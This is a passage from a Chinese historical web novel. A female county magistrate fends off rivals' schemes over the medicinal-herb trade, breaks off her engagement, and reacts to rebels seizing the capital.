既如此,那也没办法啊。 若有人骂你,谁让你这么有权有钱的。 你能生气吗? 压根气不起来,反而有点爽啊。 苏清给顾从斯好友回信,语气跟她本人一样平静。 先是感谢,再请这位举人留意有关药材的动向,以及府衙对南江县药材的态度。 上面说的那些事,顶多引起嫉妒。 药材一事,或者说钱的事,反而更敏感。 人为财死鸟为食亡。 罗宁寺的例子就在眼前。 这才是更需要关注的。 信件送出去时,邬户房还问了句:“他是新科举人?怎么不去参加会试。” 苏清道:“他祖母年前没了,还在孝期。” 原来是这样。 实在可惜了。 今年的会试极为重要,却不能参加。 邬户房还看了对方寄来的信,皱眉道:“这人好没礼貌,故意阴阳。” 苏清笑道:“不管他。” “咱们对府城了解不多,还要靠他传递消息。” 在意语气这种东西,实属没必要。 信件送出去,苏清道:“招人的事如何了。” 最近事情太多,终于能腾出工夫了。 说到这个,邬户房眼睛亮亮她,她看向苏县令的眼里满是崇拜。 药谷村一事,她家小丫鬟跟了全程,现在恨不得日日都夸。 现在额外再招女书吏,更觉得县令大人厉害。 “有四个不错的,但我问她们家里都同意吗,却都摇头了。” 要做书吏,肯定要识文断字。 而女子能识文断字的人家,基本都不缺那点俸禄。 南江县衙门又跟他处不同,做了里面的官吏不能徇私枉法,给自家谋好处。 各家肯定不同意的,以后都要嫁人,名声臭了怎么办。 邬杉月是为了护住家里人,大有不嫁人的意思。 苏清有一个前途远大的未婚夫,不怕嫁不出去。 你们呢? 几句话说完,足以打消很多人的念头。 那四个女子,也是偷偷溜出来面试的,顶住不小的压力。 苏清听完,再看邬户房一脸期盼地看着自己,好笑道:“是哪几家的,我去找她们家长说说情。” 能主动走到这一步,想法自然坚定,她愿意帮个忙。 苏清出面,自然问题不大,四人很快就到衙门任职。 其中学识最出众的十八岁祝芳洁跟在苏清左右,帮忙写写文书,算算账目。 其他人基本都在户房做事,祝芳洁不在时,则过来帮忙。 不管外面如何议论。 反正南江县确实招了女书吏。 那些议论声自然而然消散,不散又能怎样。 好像他们有本事做主一样,无非胡言乱语几句罢了。 至于富盈县县令的不满,随着苏清送去的书信消散。 原因无他,苏清帮忙介绍几个药材买家,好让富盈县的药材有去处。 这样一来,“误会”自然消解。 她私自动用伤兵的传言,渐渐没了动静。 只因伤兵处的连把总直接道:“我们在此地修养,不过是随便活动活动,谁听她苏清的话?” “论官职,我可比她高,我会听她的?!” 此话甚至张狂。 但却让不少人暗自点头。 对啊,苏清何德何能,能让连把总听她的。 还调兵呢? 怎么可能啊! 南江县衙门,连飞扬递来一支木枪:“想要防身,练枪法最合适。” “若遇危险,上马跑路,再拿一杆长枪,便无人敢靠近,大概率能逃出生天。” 自药谷村一事,苏清很有危机意识。 连飞扬知道后,主动过来教学,还亲手做了适合苏清身高的木枪供她练习。 苏清这两年长高不少,身量比一般人修长,差不多有一米七二,这般身高,用枪很合适。 苏清跟着练了几下,休息的时候,还特意感谢连把总。 毕竟众多事里,用兵最是不妥。 “我只是按你说的做,何必谢我。”连飞扬并不揽功,笑着道,“都听你的。” 苏清沉默片刻,开口道:“以后我自己练吧,不麻烦连把总了。” “对了,听说你要去前线,注意安全。这次算我欠您一个人情。” 方才还好好的。 突然赶人? 连飞扬上下看看,直接问出心中疑惑:“为什么?” 正说着,一脸兴奋的顾教谕小跑过来:“大人!府试成绩出来了!” “咱们南江县十五个考生,全都上榜!” “过了府试,基本就是秀才了。” “一年出十五个秀才!” “从斯说得没错,听他的没错!” 顾从斯。 连飞扬又看向苏清。 原来是这么回事。 都忘了,她还有未婚夫。 苏清知道顾教谕在说什么。 去年那会,他们全家想搬走。 顾从斯劝他爹,说南江县学生胜出其他地方许多,故而今年的秀才考试,成绩肯定颇佳。 只要他爹再留一年,便有极好的政绩在手。 十五个考生,十五个秀才。 放到现代,便是百分百升学率。 作为地方教育局局长,怎么可能不兴奋。 苏清自然也是高兴的。 顾教谕继续说:“那个叫费开宇的,为府试案首,就是秀才中的第一名。” “不错不错,实在是不错的。” 小费考的这样好? 衙门上下知道,自然为他们高兴。 更为南江县高兴。 看看他们南江县,哪哪都厉害啊。 费开宇还寄信过来,专门写了府城见闻,还说不如家里。 更讲三月底他们就能回去,请县令大人,务必给他留个位子,不要让别人抢书吏的位置啊! 看来小费已经知道,她新招了左右手? 祝芳洁看着信件,紧皱眉头。 性格温和的她,此刻却极为不满。 有人要抢你工作,不满意吗! 肯定不高兴啊。 而且上司还是苏清,谁抢谁就是仇人! 苏清已经在看另一封信了。 顾从斯好友寄来,他认真查了府城药材情况,甚至收集到广乐府其他各县的药材种植规模。 信里最后道:“你会是他们眼中钉。” “去年军中拨款十万,有心人还在嘀咕。” “十五个秀才,火上浇油。” “月满则亏,水满则溢。” 之前的小麻烦解决。 真正的麻烦还是到了。 苏清就知道,觊觎药材生意的不止富盈县一个地方。 眼看药材在广乐府各地遍地开花就知道了。 甚至刚刚收复的三个县,都在准备种伤药,理由也简单。 现在这种战况,他们才是距离前线最近的,比南江县近多了,所以军中的药材买卖,就该他们做。 说到这,就要提起去年年底,齐内官送来的十万两银票。 里面六万七为药材全款。 剩下的三万六,是今年上半年伤药预付款。 也就是说,不管其他地方怎么努力。 南江县依旧占据优势。 顾从斯的好友,说她是别人的眼中钉,一点也没错。 再有十五个秀才的百分百上线率,更让无数人眼红。 “月满则亏,水满则溢。”苏清收下这八个字。 “当官当的太好,被太多人嫉妒了。” 苏清默默夸了夸自己。 夸完之后,苏清坐下来,面容沉静。 如果她不是苏清,她是那些嫉妒之人。 现在会如何做。 思索片刻,苏清脸上带了真正的严肃。 “罢官。” 只要以,女子不能做官为由即可。 之前南江县情况特殊,如今远离战事,这位置就该让出来了。 此刻,说不定已经有参她的本子递到京城。 之前那些调兵之事,甚至还能添油加醋写上去。 不过这个时候,苏清难得松口气:“顾从斯在京城。” 虽然会试还没到,但他在国子监备考,就被皇上重视。 京中有人,一切就有转机。 如今三月二十二。 距离上半年的伤药收获,还有一个多月的时间。 那些人想要药材生意,只能在这个时间段把她搞下去。 否则,一切都白费。 苏清又换了张纸,主动给顾从斯写信。 不过以他的性格,若发现问题,应该会帮她周旋。 本就被无数人眼红的南江县。 另一件事的出现,再次添了一把柴。 那就是朝廷定下的五条后勤补给线路,南江县为其中一个,之后又添了四条路线。 可不少人发现。 即使新开辟四条路,但全国各地的后勤补给都不走啊。 他们依旧走着绕路,一定要经过南江县,一定要在这休整。 即使稍稍绕路也不介意。 唯有那些实在不顺路的,才会在其他地方落脚。 休息的时候,还抱怨连连。 一直说他们不如南江县衙门,不如那边的差役,更不如那里的县令。 “他们都夸我们是英雄,办事极为利落,还有热茶热汤,你们呢?” “若不是不顺路,我们肯定要留在南江县。” “就是,还科举出身的县令呢,不如人家女县令。” 这些话原本只是正常地夸赞。 但说的多了,连顾从斯好友都严肃对待,让苏清快点放水,和光同尘。 那好友信里写的直白:“鹤立鸡群,群鸡要么被气死,要么去啄鹤。” “苏鹤鹤,和光同尘!” 这封信就够着急的了。 半日后又来一封更着急的。 “他们知道你有顾从斯这个未婚夫,不好动你,已经准备釜底抽薪了。” “保住你这门婚事,就是保住你的前程,切记。” 顾从斯的前途如何,已经不用再说。 苏清能想到,京城那边有顾从斯。 那些人同样能想到。 所以他们要破坏这门婚事?! 也是,没了这门婚事,就会有更多人肆无忌惮打压她。 现在还忌惮一个顾从斯,唯恐皇上近臣报复他们。 放在之前,她肯定无所谓。 现在却不好说,一个是顾从斯确实不错,二是他好友说的对,保住婚事,就是保住前程。 或者说,这是保住前程,最简单的方法。 苏清半躺在椅子上。 旁边的祝芳洁祝书吏咬唇,很是不忿:“大人,他们欺负您是女子。” 苏清诧异,笑着道:“不要这样讲。” “与其说欺负,不如说利用这点。” 这些人想扳倒她,并非因为她是个女的。 只是利用这点,来夺她手里的权,以及她能经手的钱。 这种阴招都能使出来。 看来确实是废物无疑了。 顺昌国刚打了几次胜仗,便又开始为利益争斗。 之前的和谐,彷佛只是昙花一现。 这些人对得起总兵他们吗? “如果相信他们的构陷,就落入他们的陷阱。”苏清笑道,“正常的朝廷争权而已。” “如果我是个男子,这一切不会来吗?他们依旧可以攻击我没有功名,是子承父业。” 苏清起身,整理整理衣衫:“走吧,去我未婚夫家里看看,拜访一下未来公婆。” 说起来,她还是头一次去顾家。 更是头一次称呼顾教谕夫妇为公婆。 梅娘听说后本来想跟来的,却被苏清按住:“娘,你不是要去伤兵疗养处吗,快去吧。” “从斯在外面,我替他尽尽孝而已。” 若顾从斯听了,不知如何想。 但顾教谕夫妇看着苏清拎着礼物进门,脸色铁青。 苏清让祝书吏把东西放下,开口道:“从斯写信说,让我多来看看二老,马上四月份,他就要考会试了,照顾不了家中,所以很是担心。” “我想着,他要是被扰乱思绪,对会试无益。” “你们说呢。” 祝书吏傻眼了。 这哪里是看望未来公婆,分明是威胁未来公婆啊。 苏县令才不会觉得,自己是儿媳的身份,从而需要低声下气。 她只需要找准自己的目的即可,然后尽力实现即可。 这甚至是另一种意义上的目中无人。 顾教谕夫妇脸色更难看。 苏清看到顾夫人头上戴着的金簪子,歪了歪头:“不是本地所出。” “有人来过顾家?” 顾从斯的好友说,有人会釜底抽薪。 看来,就是从这里下手了。 “苏县令,你人很好,聪明能干。”顾夫人鼓起勇气,“但跟从斯不合适。” “不如我们。” 顾夫人的话没说完,但大家都知道,她想讲什么。 不如我们一拍两散。 还是那句话。 换做之前,苏清只觉得好运,立刻答应。 现在却知道是陷阱,是有人在背后算计。 那些人认为,只要没了顾从斯这个靠山,扳倒她轻而易举。 到时候,南江县这块肥肉,就落入有心人之手。 苏清眼神扫过,顾夫人下意识闭嘴,茶碗被轻轻放在桌子上,声音清晰可听。 “好啊。” 不等顾教谕夫妇俩惊喜,苏清继续道:“我现在就写信,保证在会试之前,让顾从斯收到。” 不可以! 会试之前收到。 那,那从斯肯定不高兴。 会试那般重要,不能有一丝一毫的变故! 他们想的,是家里偷偷退婚。 只有他们这里知道,先瞒着要考试的从斯啊。 “不行,绝对不行,你要害了从斯吗!这对你有什么好处!”顾教谕跳脚。 对他而言,儿子的前程大过天。 他整个人暴跳如雷,甚至吓到顾夫人。 苏清轻笑,稍稍摇头。 看着两人的模样,她已然下定决心。 苏清开口道:“其实我过来,也是聊退婚的事。” 祝书吏惊愕。 您聊? 苏清让顾教谕取来纸笔,当场写了退婚文书,轻轻盖了自己印章。 但信件却没有递给顾教谕。 顾教谕夫妇急不可耐,苏清则慢慢道:“四月初六会试,四月十五出会试成绩。” “五月份殿试结束。” “到那时,这封信就会寄出。” “既不耽误你们儿子的前程,婚也能退了。” “只不过,要等一个多月。” 为什么? 苏清为了不耽误从斯,竟然能做到这种地步? 这确实是两全其美的好办法! 顾教谕夫妇的情绪起伏极大,心跳都比平时快了许多。 可一个声音急急忙忙出现:“不可以!” “太晚了!” 苏清并不意外地看着来人。 这人看着风尘仆仆,不像本地人士。 苏清明知故问:“为何太晚?” “因为五月份那会,上半年的药材收购,差不多到了尾声。” “那时候再把我换掉,可就竹篮打水一场空了。” 他们急着昏招频出,就是为了换掉苏清,包揽上半年伤药收益。 若等苏清把收益结算清楚,换人就没了意义。 所以,苏清只要拖时间就好。 拖到这个药材收购季过去,拖到她把手头药商资源整合完毕。 以后不管她是不是这个县令,都能左右广乐府所有药材买卖。 甚至跟军中齐内官搭上线。 齐内官已故好友的干儿子干女儿,都跟她极为亲厚。 这种情况下。 想从她手里撬走军中收购一事,难上加难。 苏清也有一百分的把握。 顾教谕夫妇,绝对会同意她的做法。 因为他们不同意,那她绝对会毁了顾从斯的会试。 毫无心理负担地毁掉。 “你们家从斯,甚至不会生我的气。”苏清笑眯眯道,“公公婆婆,你们说呢。” “是听他们的,现在解除婚约。” “还是听我的,殿试结束再提?” 苏清把退婚书递给祝书吏,让她送给二人。 顾教谕收了退婚书,却不签字,咬牙道:“我们不退婚。” “顾家跟苏家,还有姻亲关系。” “外人不要插手!” “外人”脸都绿了。 他是府城吏司主事家的仆人,带着无数重礼,又好话说尽,想让顾从斯爹娘退婚。 好在两家一拍即合,顾家早就想退婚,也对吏司主事家境很满意。 此事若成。 苏清没了未来可期的顾从斯做靠山,再加上被多方嫉妒,很快就会被拉下马。 没想到她反应这样快,还用威胁的手段对顾家。 甚至不惜毁掉自己未婚夫的前程。 如此手腕,做知府也不差事的。 那吏司主事家仆人暗暗敬佩苏清,可心里又着急的很。 差事办砸,回去肯定要挨骂。 这人垂头丧气离开,除了顾夫人头上的金簪之外,其他礼物悉数带走。 在出南江县时,好像看到一个熟悉的背影? “那是府城花家的马?花家公子花景明的爱驹?” “看错了吧,花家人怎么可能来这里。” “不想了,苏清啊苏清,你就是府城官员的克星。” 被念叨的苏清本人,已经回了衙门。 衙门除了祝书吏之外,没人知道她跟顾从斯已经没了婚约关系。 他们再也不是未婚夫妇了。 祝书吏脑子发蒙,县令大人却一脸淡定。 苏清懒得解释。 她跟顾从斯的婚约,本就稀里糊涂的。 以前也有犹豫。 现在不必了。 顾教谕夫妇不够理智,随时可能做出让人瞠目结舌的事。 她懒得应对,不如一了百了。 至于顾从斯的想法。 苏清叹口气,希望五月份的他金榜题名,不再计较这种小事。 大家各有各的前程。 不过用他换一时太平这种事,还是有点损。 苏清难得心虚,又想着怎么跟梅娘交代。 虽说脑子里思绪万千,苏清依旧吩咐道:“让医学训科两位主事过来。” 白大夫跟郝大夫,也就是白主事跟郝副主事。 自医学训科成立之后,两人最多的差事,就是培训医护。 如今前线往前推,这事就不用做了,两人还觉得有些遗憾。 毕竟在衙门做事,到底不同。 而这次过来,苏清这给他们更重要的任务:“整合两部分,一个是药材收购,这个好说。” “第二,整合货商们的情况,尽量签下长期合同。” “本地药局作为中间人,医学训科监督,你们两家药铺由户司监督。” 所有事情说完。 大概就是,既要掌握种植情况,也要摸清收购商的情况。 尤其跟收购商达成协议,通过他们了解市场动向,以及提前了解所需药材。 到时候南江县这边,就跟跟着市场变动。 掌握了这些,周围各县想要卖药,也需要他们做中间人。 苏清要做的,就是把南江县,变成药材交易市场。 成为买卖中转平台。 这事放在其他地方或许难做。 但依照他们此地信誉,以及码头建设,医学人才储备,想要成为交易中心,只是时间问题。 以前可以顺其自然,现在则要加快进度。 医学训科的另一个功能被提前拿出来,掌握本地药局情况。 白主事跟郝副主事连连点头。 他们立刻就去做。 手里差事忙的差不多,天也近黄昏了。 苏清起身伸伸懒腰,让祝书吏早点回家休息,她也提前回后宅。 梅娘那边,迟早都要有交代。 但早说比晚说要强。 梅娘那么疼爱女儿,应该不会太难过吧? 这么想着,苏清往后宅走去,门房那边却道:“县令大人,门外有客求见,这是他的名帖。” 客人? 苏清看了看名帖,只见上面写着花景明三个字,后面则是他身份来历。 广乐府府城的花家。 这名号谁人不知。 听说他家祖父曾经做过首辅,还能平安退下来。 花家在广乐府势力极深,每任知府过来,都要亲自拜访。 这花景明,正是顾从斯在府城结交的好友。 也是去年乡试第二,很有才学。 花景明过来,是为了顾从斯的嘱托? 能为好友做到这份上,着实不错了。 “去厅堂吧。”苏清又吩咐,“上好茶。” 花景明被带到衙门厅堂,喝了口茶,勉强咽下去:“什么烂叶子,也能摆出来。” 虽说两人头一回见面。 但信件通了五六次,大概了解彼此性格。 花景明见苏清果然不生气,又道:“县令大人,您是不是要给我一个解释。” 苏清见他的表情,也知道他第一时间去的应该是顾家,大概率已经知道前因后果了,干脆道:“我也没办法。” “没办法?没办法就能退亲?” “你知道顾从斯为了你们的婚约有多努力吗?”花景明不高兴道。 他知道吏司主事派人去找顾从斯爹娘,便立刻骑马赶来。 谁知还是晚了一步。 顾从斯跟苏清还是退亲了,甚至是苏清亲自写的退婚书。 若老顾知道,恐怕会发疯。 他可是亲眼看着,顾从斯如何拒婚吏司主事,如何躲着别人说亲。 他们成为知己之后,一向不苟言笑的顾从斯竟然笑着道:“她不一样。” “真的,你见到她,就知道不一样。” 现在是见到了。 果然不一样。 好一个心狠手辣的坏女人。 苏清两手一摊,干脆道:“所以等退婚书寄出去,还请你帮忙劝劝。” “他爹娘有一句话说得对,我们不合适的。” “就算不合适,冲着他的前途,你也不该退婚。”花景明直言,“他会试必中的,有他做靠山,你的位置会更稳。” “没了他,那些眼红你的人,只会更疯狂。” 苏清没理他前面的话,问道:“更疯狂,现在是如何疯狂的。” 花景明顿住,倒也不瞒着。 “大小宴会上,都在谈论你,好奇你跟齐内官吃了多少药材钱。” “好奇你们南江县做为中转地,又赚了多少钱。” “再有粮食丰收,跟江南叶家的关系,又有多少谋利。” 那些人越说越眼红。 所以有了种种手段。 现在苏清有顾从斯这个未婚夫。 若没了,她怎么办。 除非找个更厉害的靠山。 “不要觉得找靠山丢人,很多举人进士还要找岳丈找干爹当助力啊。”花景明想了一圈,无奈道:“除了我家这种背景,无人护得住你。” 花景明赶紧解释:“别想我家,我是独子。朋友之妻不可欺。” 怪神经的。 谁问你了。 苏清道:“一路赶来辛苦了,先休息吧。有事回头再说。” 这哪是回头说,分明是糊弄人。 苏清急着跟梅娘解释,但还是安排花景明住下。 至于他好友顾从斯的婚事,就不必再提了。 还有所谓的靠山。 顾从斯只是秀才的时候,他们可没说自己需要靠山。 花景明有一点却说对了,男的可以找岳丈当垫脚石,她要是想找人帮忙,也是正理。 不过与其跟花家打好关系,不如去求总兵啊。 自己在总兵大人那,还是有几分薄面的。 苏清终于回了内宅。 梅娘端着晚饭过来,做的是苏清爱吃的汤饭,还熬了山楂水让她明目。 “每日看那么多文书肯定很累。” “还是要多休息,最近天是热了点,但不要贪凉。” 吃过晚饭,苏清终于鼓起勇气,跟母亲单独相处,提起退亲一事。 “娘,我今日去顾家,不是见公婆。” “是退亲。” 苏清刚想继续解释,梅娘却拉住她的手,突然落泪:“清清,你是不是又受委屈了?” “上次送顾从斯去考试,娘看他们夫妇俩的脸色就不对。” “他们儿子对你笑,他们就生气,对你好,他们更气。” 梅娘眼泪极多,全都落到苏清手背上:“这要是嫁过去,要吃多少苦头。” “退的好,退的很好。” 梅娘是个凡事都往好处想的性格。 对人对事,都抱着一万分的善意。 唯独在这件事上,她只觉得难受,顾家夫妇眼神在她脑海里转来转去。 让梅娘意识到,清清跟顾从斯,并不是另一对自己跟相公。 但让她主动提起,让两人退亲,似乎又不妥当,只是观察那对夫妇如何做的。 再看顾家夫妇其实有点怕清清,她心里又好受多了。 梅娘安慰着自己,然后便听到好消息。 梅娘不懂朝局,不懂各方势力如何眼红嫉妒。 也不懂里面的权衡利弊。 她就是认为公婆对女儿不好,这亲就退的好。 不管他顾从斯以后考什么进士状元,都退的好。 她家清清是最厉害的,根本不需要别人帮忙。 苏清看着手背上的泪滴。 头一回羡慕原来的清清。 这让她想起姥姥,姥姥在的话,也会这样支持她吧。 安慰好梅娘,苏清有些睡不着,干脆去外面走走。 南江县的夜晚还是很热闹的,她慢悠悠走在人群中间,只觉得往日的打压跟浊气全都消散。 周围是百姓们买吃食逛街带来的烟火气,手背上还有关心之人带来的湿润。 她定会守好这一切。 出来买鞍马的连飞扬连把总看到苏县令,还没喊她,就听酒楼上面有人道:“苏鹤鹤。” 什么名字? 苏清本来没反应过来,那人又喊了一句,抬头看去,竟然是花景明。 “他是谁,怎么喊你这个名字。”连飞扬快步走上来。 苏清笑:“喊我大名,那大家都看过来了吧。” “连把总有日子没见了。” “嗯,我要上前线了。”连飞扬举了举手里的鞍马,高兴道,“伤势终于痊愈,总兵大人同意让我回去。” 苏清一边跟连飞扬说话,一边听着楼上花景明喊她,只好道:“走走走,去看看他叫什么魂。” 叶家酒楼二楼,花景明见他们终于过来,指着天上的星空道:“看,今日星象似乎有些不同。” 抬头看去,三月下旬的月亮没什么光亮,只见夜空上星星格外明亮,其中一个星亮的有些刺目。 “天狼星。”苏清缓缓道。 小时候姥姥经常带她看星星,故而认得。 岂料连飞扬跟花景明都看向她。 苏清意识到,天狼星主战,今日如此明亮,不是好事。 花景明脸色变得极为严肃,上前几步,嘴里念念有词:“其东有大星曰狼。狼比地有大星,曰南极老人。” “老人见,治安;不见,兵起。” 苏清下意识看向天狼星周围。 没有另一颗大星,一点痕迹都没有。 不见,则兵起。 前线又打起来了吗。 连飞扬站得笔直:“我立刻出发,不能再等了。” 苏清点头:“保重,一定要平安回来。” “回来的话,你会不会成亲了?”连飞扬见气氛沉闷,故意笑道,“哎,真是可惜。” 这种话也太不对劲了,苏清道:“人回来就行,其他的都不重要。” 花景明看得牙酸。 老顾啊老顾,看不好自己老婆,就不要出去考试。 三人忍不住都笑,气氛骤然一松。 但城门口传来的战报,却让南江县的气氛变得恐怖起来。 “急报!急报!” “衙门立接!” “前线传来的急报吗?”花景明问道。 “不是。”连飞扬脸色大变。 苏清已经往衙门方向赶了。 前线在西边。 这份急报是东面来的。 像是,京城的急报。 连飞扬两人立刻跟上。 那份急报已经被苏清拆开。 “京城,京城附近的益州起兵了。” “说要尊叛军首领武勇王为皇帝,希望各地武将驰援京城。” 京城,危在旦夕。 第34章 永晟三年,三月三十,京城彻底落入叛军之手。 皇上,太后,等一众王公贵戚达官贵人,仓皇往南出逃。 京城如今在叛军手中,那叛军首领宣称,他将拥护远在皋青州封地的武勇王爷为新皇。 只等王爷回京登基。 并继续派人捉拿永晟皇帝等人。 广乐府南江县接到这个消息,已经是四月初四。 别说南江县,整个广乐府,乃至整个顺昌国,都为此震动。 本以为武勇王爷败局已定。 被总兵逼到封地,不过负隅抵抗。 谁能想到,京城周边,还有响应他的叛军队伍。 约等于仗快要打完了。 家被偷了。 南江县衙门乱作一团,苏清废了些力气,让大家稳住心神:“京城距离此地,一千二百里地,咱们这暂时不会有危险。” “不管外面局势如何变化,守住南江县,才是头等要事。” 战事开始的快,结束却是极为缓慢。 所有人能做的,就是在等待着寻找希望。 这些话话说,苏清却看了看皋青州方向,总兵的队伍还在那边。 有他在,皋青州以东,也就是他们这些地方,便是安全。 苏清隐隐有些担忧,面上却让武捕头,龚典吏等人组织乡兵团练,再拨钱修缮各村堡垒。 这期间,又严惩了十多个惹是生非的闲汉。 放在平时,多是打板子即可,京城被夺之后,每个人打个板子,然后押到各村修防御工事。 铁腕处置下,南江县普通百姓的心总算稳住了。 这期间,连飞扬跟花景明也已经离开。 京城事发突然,连飞扬立刻带了伤势已好的士兵去前线。 花景明也赶回府城,跟家里商议该如何应对局势。 不过花景明离开前,还带苏清一起去了趟顾家。 顾家夫妇已经躺在病榻上。 顾从斯就在京城,他现在下落不明,没人知道他的情况如何。 听说叛军进城后,肆意劫掠百姓,烧了不少官署,其中就有国子监。 明明前段时间,顾从斯的名字,还是整个广乐府官场官员艳羡的对象。 都知道他才华斐然。 都知道他进了国子监后,还未会试,就很得皇上看重。 有些人想搞掉苏清这门婚事。 就是怕她的未婚夫在皇上面前进言,更怕顾从斯会试结束后,苏清也跟着更上一层楼。 现在,一切都成了泡影。 所有人心心念念的会试早被抛到脑后。 还考会试呢。 能保住命就是万幸。 顾家夫妇看到苏清跟儿子好友过来,挣扎着起身,尤其看向苏清。 苏清叹口气:“我已经派人去问情况。” “南江县去京城的考生,共有十九人,每个人都至关重要。” 花景明看了看她。 以顾家夫妇对她态度,她却能不计前嫌安慰。 甚至安排人手照顾。 看来好友顾从斯,没有喜欢错人。 等花景明离开,还安慰道:“我那边若有消息,第一时间给你。” “万幸的是,广乐府距离京城还远,那京城的叛军也不会出京。地方上暂时还算安全。” 怕的是,新的叛军真把武勇王爷接到京城。 到那时候,顺昌国就有两个皇帝。 才是真正的乱世开端。 对此,苏清跟花景明都有预料。 但顾从斯的情况,谁也说不准。 只希望顾从斯运气好一点,从国子监逃脱,赶紧回广乐府,回南江县。 这里才安全。 花景明想了想道:“若有官场同僚找你麻烦,报我的名字即可。” “府城那边,我也会替你多多说话。” 不过,会有个弊端。 “以牺牲我名声为代价?”苏清笑。 她名义上若依靠顾从斯,其实问题不大,毕竟是未婚夫妇。 换了花景明,谁知道那些人会怎么说。 花景明想要解释,却听苏清道:“我以为是什么大事,有用就行。府城那边,还请你帮忙周旋了。” 花景明笑,摆摆手骑马离开。 他就多余问一句。 四月初六,苏清又去了一趟顾家。 顾家夫妇两人缓过来一些,他们看向苏清的时候,很不好用意思,可还要问顾从斯的情况。 如今自然是没有答案的,两人颇有些失望。 他们现在毫无精神,更不敢出门。 前段时间,他们还是人人艳羡的顾举人爹娘。 如今却是完全不同。 生怕走出家门,被人用同情的目光看着。 苏清过来,也就是看看情况,随后带着祝书吏去往医学训科。 还有一个月,药材就要收获了。 因京城被叛军占领,各地恐慌不已,药材价格再次飞涨。 每次觉得,药材价格会回落的时候,总会有意外发生。 但更粮食比起来,药材的涨幅已然不算什么。 很多地方的粮价翻了至少两倍。 其实是那些,为了种药材,减少粮田的地方,今年的粮价会极为恐怖。 也就南江县还稳得住,这才有余力继续整合附近六个县的药材资源。 同时还联系到愿意采买药材的货商。 以叶家为首的几个江南商人,还是愿意在乱中做买卖。 富贵险中求,说的就是他们。 这样的情况,一直持续到五月初,药材收获之时。 南江县,以及广乐府各地,好像逐渐恢复平时的氛围。 说到底,京城离他们太远,战争理他们更远。 大家的日子,还要照常过。 只不过巡逻的差役多了,乡兵们的操练增加不少。 其他事情,似乎没什么变化。 而药材收获,又给本地添了些喜气。 去年年底药材卖了之后,各家各户都从中获益。 今年他们已经等不及了啊。 让苏清没想到的是,她竟然收到叶山鸣的信件。 去年这个时候,叶家入股聂家医馆,一起做药材买卖。 叶山鸣还亲自过来,告诉她本地要成为后勤中转站。 那之后,战事一切顺利。 到年底时,更是连连大捷。 没想到时隔一年,情况反而更糟了。 京城失守。 皇帝逃亡。 苏清摇摇头,拆开叶山鸣的信件后,她惊讶的直接坐起来。 叶山鸣的信里,透漏了一件极为重要的事。 那就是皇帝的动向。 从三月三十开始,皇帝一行人的行踪,很少有人知道。 现在五月初六,追兵少了些,也终于知道皇帝逃到哪了。 “在金陵。”苏清把信件翻来覆去的看,“竟然逃到江南去了?!” 叶山鸣信里还说,金陵城挤满达官贵人。 先朝的行宫也被收拾出来,皇上太后等人已经住下,不日会在此理政,到时候会昭告天下,以安民心。 这让苏清的心渐渐沉下去。 朝廷的情况,比她想象中还差。 京城被叛军攻入,最好的方法,就是在附近等待救援,重新打回京城。 可皇上太后他们,却跑到千里之外的金陵,并且直接在那边理政。 只能说明一个情况。 在他们的判断中,京城,乃至京城周围的兵将,都不会帮他们,一时半会回不去了。 苏清只觉得脑袋疼。 都是一群废物吧! 京城附近的兵将都掌握不住。 造反是迟早的事吧?! 而且皇上的位置,到底怎么来的。 为何如此不稳当?! 也是服了。 不过叶山鸣的重点却不是这个。 “顾从斯平安,常伴皇上左右侍疾,不方便写信寄出,让我帮忙给你报平安。” 皇上等人,如今就是惊弓之鸟。 身边所有人的书信往来都要翻来覆去的查。 在没有大面积公布他们所在何地,临时朝廷没有建立起来之前,不好写信寄出去,以免被怀疑跟叛军勾结。 谁能想到,要去京城考试的顾从斯,辗转流离,竟然跟着皇上去了金陵,还见到叶山鸣了。 不管怎么样,人平安即可。 虽说她跟顾从斯退婚,已经是板上钉钉的事。 但除开这层关系,该担心还是担心。 到底相处那么长时间。 不过苏清并未第一时间告诉顾家夫妇。 毕竟说了顾从斯平安,就说原因,还要说他在哪。 对于他们两个,苏清并不信任。 叶山鸣信件刚到没几日,苏清正忙药材收购的事,花景明也送来消息,说的情况差不多,让她放心。 不过花景明还多说一句,说他们俩是不是可以不用退婚了。 现在谁也没工夫再抢苏清的位置。 加上苏清已经把广乐府所有药材种植握在手里,没必要退亲。 管的还挺多。 苏清分别回了两人的信件,继续去忙药材之事。 周围几个县的药材买卖,基本都要通过南江县。 之前就说了,她要做药材交易中心。 这场战事,加快了此事的进度。 毕竟混乱当中,能找一个买家卖家都放心的地方,实在艰难。 信心这东西,弥足珍贵。 恰好,南江县就能给大家带来信心。 “来了你们这里,就感觉安心得很,物价平稳,百姓安居乐业,跟其他地方的慌慌张张完全不一样。” “是啊,南江县衙门上下都太稳了,治安也管得好。” 甚至还有个传言。 苏清苏县令,甚至能调动伤兵帮忙。 也就是说,就算这里出了问题。 她也能第一时间组织反抗。 之前药谷村的事,大家都知道吧。 她第一时间,就能组织起好几个人手。 若真遇到事,会有更多人愿意给她卖命。 有这样的县令在,大家睡觉都睡得更安心。 现在看来,苏县令赚完钱,就修城墙,整各村防御工事,是多么明智的选择。 甚至在伤病疗养处砸下去的银子,都能听到动静。 苏清听到这些话的时候,颇有些无奈。 她做的时候,并没有想那样多。 甚至刚开始做县令,也只是想照顾好家人而已。 当然,做着做着,就觉得自己应该肩负起责任,是另一回事了。 苏清刚放下手里的公文,就见田县丞匆匆跑过来。 自去年总兵大捷,田县丞便不再酗酒,似乎从战争的阴影里走了出来。 今年京城兵变,他虽不酗酒,整个人却精神紧绷,恨不得一直忙公务。 苏清身边的祝书吏看出不对劲,赶紧道:“田县丞,您要不要休息休息。” 跟着田县丞进门的费开宇哼了一声,也劝:“县丞大人,咱们去吃个饭吧,我跟着您一整日,也没吃饭呢。” 现在费开宇已经是秀才了,都喊他费秀才。 不过他可没那么高兴,一个是秀才宴取消了,二是回来之后,自己的位置果然被人抢走! 以前是顾举人,那是苏县令未婚夫,他不好计较。 现在是祝书吏,县令大人却说,他以后还要科举,故而祝书吏比他合适。 这哪里比他合适了?! 下次乡试还要很久啊! 他可以继续当县令书吏的。 苏清懒得多讲,让他跟着田县丞做事,田县丞经年老吏,跟着他能学到不少。 而且田县丞情况不对,必须有人看着。 田县丞盯着苏清看了好久,手掌才没继续颤抖,深吸口气道:“大人,城墙已经修补完毕,还有什么差事吗,我闲着也没事。” 苏清肯定不能让他继续干活了,只道:“要不然去厨房看看,金今日第三批巡逻差役刚回来,看看饭菜情况。” “县城差役每日四班倒,日夜巡视。” “下面各村也有乡勇组织巡逻。” “城门口的守卫也增派人手,一旦有事,我们会第一时间知道。” 看似在说安保布置。 